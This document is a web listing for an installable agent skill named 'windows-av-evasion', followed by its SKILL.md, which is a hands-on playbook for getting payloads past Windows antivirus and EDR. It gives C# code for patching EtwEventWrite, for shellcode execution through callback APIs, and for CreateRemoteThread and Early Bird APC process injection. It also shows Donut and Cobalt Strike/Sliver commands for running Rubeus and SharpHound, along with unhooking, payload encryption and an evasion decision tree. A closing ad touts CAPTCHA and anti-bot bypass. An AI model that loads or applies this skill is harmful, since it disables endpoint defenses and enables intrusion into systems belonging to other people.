windows-av-evasion

>-

INSTALLATION
npx skills add https://github.com/yaklang/hack-skills --skill windows-av-evasion
Run in your project or agent environment. Adjust flags if your CLI version differs.

SKILL.md

$27

1. AMSI BYPASS OVERVIEW

AMSI (Antimalware Scan Interface) inspects PowerShell, .NET, VBScript, JScript, and Office macros at runtime.

Key AMSI Bypass Categories

Category

Method

Detection Risk

Persistence

Memory patching

Patch AmsiScanBuffer in amsi.dll

Medium

Per-process

Reflection

Modify AMSI init flags via .NET reflection

Medium

Per-session

String obfuscation

Encode/split AMSI trigger strings

Low

Per-payload

PowerShell downgrade

Force PS v2 (no AMSI)

Low

Per-session

CLM bypass

Escape Constrained Language Mode

Medium

Per-session

COM hijack

Redirect AMSI COM server

Low

Per-user

Quick AMSI Bypass (One-Liners)

# PowerShell v2 downgrade (if .NET 2.0 available — no AMSI in v2)

powershell -Version 2

# Reflection-based (set amsiInitFailed = true)

# Obfuscated to avoid static detection — see AMSI_BYPASS_TECHNIQUES.md for full patterns

2. ETW BYPASS

ETW (Event Tracing for Windows) feeds telemetry to EDR. Patching EtwEventWrite stops .NET assembly load events.

Patch EtwEventWrite

// C# — patch EtwEventWrite to return immediately

var ntdll = GetModuleHandle("ntdll.dll");

var etwAddr = GetProcAddress(ntdll, "EtwEventWrite");

// Write: ret (0xC3) to first byte

VirtualProtect(etwAddr, 1, 0x40, out uint oldProtect);

Marshal.WriteByte(etwAddr, 0xC3);

VirtualProtect(etwAddr, 1, oldProtect, out _);

PowerShell ETW Bypass

# Disable Script Block Logging (ETW provider)

[Reflection.Assembly]::LoadWithPartialName('System.Management.Automation')

# Set internal field to disable ETW tracing

3. .NET ASSEMBLY LOADING

In-Memory Assembly.Load

byte[] assemblyBytes = File.ReadAllBytes("tool.exe");

// Or download from URL, decrypt from resource

Assembly assembly = Assembly.Load(assemblyBytes);

assembly.EntryPoint.Invoke(null, new object[] { args });

Donut — Convert .NET Assembly to Shellcode

# Generate shellcode from .NET EXE

donut -f tool.exe -o payload.bin -a 2 -c ToolNamespace.Program -m Main

# With parameters

donut -f Rubeus.exe -o rubeus.bin -a 2 -p "kerberoast /outfile:tgs.txt"

# Then load shellcode via any injection technique (§5)

execute-assembly (C2 Framework)

# Cobalt Strike

execute-assembly /path/to/Rubeus.exe kerberoast

# Sliver

execute-assembly /path/to/SharpHound.exe -c all

# Havoc

dotnet inline-execute /path/to/tool.exe args

4. SHELLCODE EXECUTION TECHNIQUES

VirtualAlloc + Callback (Avoids CreateThread)

IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);

Marshal.Copy(sc, 0, addr, sc.Length);

// Use callback API instead of CreateThread (less monitored)

EnumWindows(addr, IntPtr.Zero);

Callback APIs for shellcode execution: EnumWindows, EnumChildWindows, EnumFonts, EnumDesktops, CertEnumSystemStore, EnumDateFormats — all accept function pointers that can point to shellcode.

5. PROCESS INJECTION TECHNIQUES

Technique

APIs Used

Detection Risk

Notes

CreateRemoteThread

OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread

High

Classic, heavily monitored

NtMapViewOfSection

NtCreateSection, NtMapViewOfSection

Medium

Shared memory, less common

Process Hollowing

CreateProcess (SUSPENDED), NtUnmapViewOfSection, WriteProcessMemory, ResumeThread

Medium

Replace process image

Thread Hijacking

SuspendThread, SetThreadContext, ResumeThread

Medium

Modify existing thread

Early Bird

CreateProcess (SUSPENDED), QueueUserAPC, ResumeThread

Low-Medium

APC before main thread

Phantom DLL Hollowing

Map DLL section, overwrite with shellcode

Low

Uses legitimate DLL mapping

Module Stomping

LoadLibrary, overwrite .text section

Low

Backed by legitimate DLL

Transacted Hollowing

NtCreateTransaction, NtCreateSection

Low

No suspicious allocations

CreateRemoteThread (Basic Pattern)

IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetPid);

IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);

WriteProcessMemory(hProcess, addr, sc, (uint)sc.Length, out _);

CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

Early Bird APC Injection

// Create suspended process

STARTUPINFO si = new STARTUPINFO();

PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", ..., CREATE_SUSPENDED, ..., ref si, ref pi);

// Allocate and write shellcode

IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);

WriteProcessMemory(pi.hProcess, addr, sc, (uint)sc.Length, out _);

// Queue APC to main thread (runs before main entry point)

QueueUserAPC(addr, pi.hThread, IntPtr.Zero);

ResumeThread(pi.hThread);

6. UNHOOKING — BYPASS EDR API HOOKS

Direct Syscalls (SysWhispers / HellsGate)

EDR hooks ntdll.dll functions. Direct syscalls bypass hooks by invoking the kernel directly.

Normal: User code → ntdll.dll (HOOKED) → kernel

Direct: User code → syscall instruction → kernel (bypasses hook)

Tool

Method

Notes

SysWhispers2/3

Compile-time syscall stubs

Static syscall numbers

HellsGate

Runtime syscall number resolution

Dynamic, harder to detect

HalosGate

Resolve from neighboring unhooked syscalls

Handles partial hooks

TartarusGate

Extended HalosGate

More robust resolution

Fresh ntdll Copy

// Read clean ntdll.dll from disk

byte[] cleanNtdll = File.ReadAllBytes(@"C:\Windows\System32\ntdll.dll");

// Or from KnownDlls: \KnownDlls\ntdll.dll

// Or from suspended process (create sacrificial process, read its ntdll)

// Overwrite hooked .text section with clean copy

// → All EDR hooks in ntdll are removed

Indirect Syscalls

// Instead of: syscall (in your code — suspicious)

// Do: jump to syscall instruction inside ntdll.dll (legitimate location)

// The ret address on stack points to ntdll.dll, not your code

7. PAYLOAD ENCRYPTION & OBFUSCATION

Encryption Methods

// AES encryption (preferred)

using Aes aes = Aes.Create();

aes.Key = key; aes.IV = iv;

byte[] encrypted = aes.CreateEncryptor().TransformFinalBlock(shellcode, 0, shellcode.Length);

// XOR (simple, fast)

for (int i = 0; i < shellcode.Length; i++)

    shellcode[i] ^= key[i % key.Length];

// RC4 (stream cipher, simple implementation)

Sleep Obfuscation

Encrypt shellcode in memory during sleep to avoid memory scanners.

Technique

Method

Ekko

ROP chain → encrypt heap/stack during sleep

Foliage

APC-based sleep with memory encryption

DeathSleep

Thread de-registration during sleep

Staged Loading

Stage 1: Small, encrypted loader (evades static analysis)

Stage 2: Download actual payload at runtime (encrypted)

Stage 3: Decrypt in memory → execute

8. SIGNATURE EVASION

String Encryption

// Avoid plaintext API names, URLs, tool names

// Use encrypted strings, decrypt at runtime

string decrypted = Decrypt(encryptedApiName);

IntPtr funcPtr = GetProcAddress(GetModuleHandle("kernel32.dll"), decrypted);

API Hashing

// Resolve API by hash instead of name (avoids string detection)

// Hash "VirtualAlloc" → 0x91AFCA54

IntPtr func = GetProcAddressByHash(module, 0x91AFCA54);

Metadata Removal

# Strip .NET metadata

ConfuserEx / .NET Reactor / Obfuscar

# Remove PE metadata (timestamps, rich header, debug info)

# Modify compilation timestamps

# Strip PDB paths

C2 Framework Evasion

Framework

Key Evasion Features

Cobalt Strike

Malleable C2 profiles, HTTP/S traffic shaping, sleep jitter, PE evasion

Sliver

Multiple protocols (mTLS, WireGuard, DNS), stager-less, built-in obfuscation

Havoc

Indirect syscalls, sleep obfuscation, module stomping

Brute Ratel

Badger agent, syscall evasion, ETW/AMSI bypass built-in

9. AV/EDR EVASION DECISION TREE

Need to execute tool/payload on protected host

│

├── PowerShell-based payload?

│   ├── AMSI blocking? → AMSI bypass first (§1)

│   │   ├── .NET 2.0 available? → PS v2 downgrade (no AMSI)

│   │   ├── Memory patch AmsiScanBuffer

│   │   └── Reflection-based bypass

│   ├── Script Block Logging? → ETW bypass (§2)

│   └── Constrained Language Mode? → CLM bypass or switch to C#

│

├── .NET assembly (Rubeus, SharpHound, etc.)?

│   ├── Direct execution blocked?

│   │   ├── In-memory Assembly.Load (§3)

│   │   ├── Convert to shellcode with Donut (§3)

│   │   └── Use C2 execute-assembly (§3)

│   └── Still detected?

│       ├── Obfuscate assembly (ConfuserEx)

│       ├── Modify source + recompile

│       └── Use BOFs (Beacon Object Files) if CS

│

├── Shellcode execution needed?

│   ├── Basic → VirtualAlloc + callback (§4)

│   ├── Need injection → choose technique by OPSEC (§5)

│   │   ├── Low detection needed → module stomping or phantom DLL

│   │   ├── Medium → early bird APC or NtMapViewOfSection

│   │   └── Quick and dirty → CreateRemoteThread

│   └── Memory scanners detect payload?

│       ├── Encrypt payload → decrypt only at execution (§7)

│       └── Sleep obfuscation (Ekko/Foliage) (§7)

│

├── EDR hooking ntdll.dll?

│   ├── Direct syscalls (SysWhispers3/HellsGate) (§6)

│   ├── Fresh ntdll copy from disk/KnownDlls (§6)

│   └── Indirect syscalls (return to ntdll instruction) (§6)

│

├── Signature detection?

│   ├── Known tool signature → modify + recompile

│   ├── String-based → string encryption / API hashing (§8)

│   ├── PE metadata → strip/modify (§8)

│   └── Behavioral → change execution flow, add junk code

│

└── All local evasion fails?

    ├── Use Living-off-the-Land (LOLBins): certutil, mshta, regsvr32

    ├── Use legitimate admin tools (PsExec, WMI, WinRM)

    └── Switch to fileless / memory-only techniques
BrowserAct

Let your agent run on any real-world website

Bypass CAPTCHA & anti-bot for free. Start local, scale to cloud.

Explore BrowserAct Skills →

Stop writing automation&scrapers

Install the CLI. Run your first Skill in 30 seconds. Scale when you're ready.

Start free
free · no credit card